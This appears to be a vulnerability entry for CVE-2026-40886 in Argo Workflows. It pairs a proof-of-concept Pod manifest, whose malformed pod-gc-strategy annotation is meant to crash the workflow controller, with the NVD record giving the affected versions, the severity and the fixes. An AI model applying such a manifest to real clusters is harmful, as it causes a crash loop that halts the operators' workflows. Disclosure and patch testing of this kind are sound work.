CVE-2026-40886

# Malformed Pod manifest to trigger the panic in Argo Workflows # The vulnerability is triggered by an invalid value in the 'workflows.argoproj.io/pod-gc-strategy' annotation. apiVersion: v1 kind: Pod metadata: name: malicious-pod-cve-2026-40886 namespace: argo # Or the namespace where Argo workflows are running annotations: # Setting a malformed value that causes array index out of bounds in podGCFromPod() workflows.argoproj.io/pod-gc-strategy: " malformed_payload_triggering_panic " spec: containers: - name: pause image: registry.k8s.io/pause:3.1

{"cve": {"id": "CVE-2026-40886", "sourceIdentifier": "[email protected]", "published": "2026-04-23T19:17:28.617", "lastModified": "2026-04-28T14:09:25.893", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 3.6.5 to 4.0.4, an unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted. This vulnerability is fixed in 4.0.5 and 3.7.14."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-129"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "3.6.5", "versionEndIncluding": "3.6.19", "matchCriteriaId": "D1CB14B6-225D-422A-9FB0-509288D899F0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "3.7.0", "versionEndExcluding": "3.7.14", "matchCriteriaId": "9DAB70D2-949B-48BA-8624-F01907A85D86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.5", "matchCriteriaId": "675D5F2B-A490-42EB-B1A1-0CE05D2BB4CF"}]}]}], "references": [{"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-5jv8-h7qh-rf5p", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}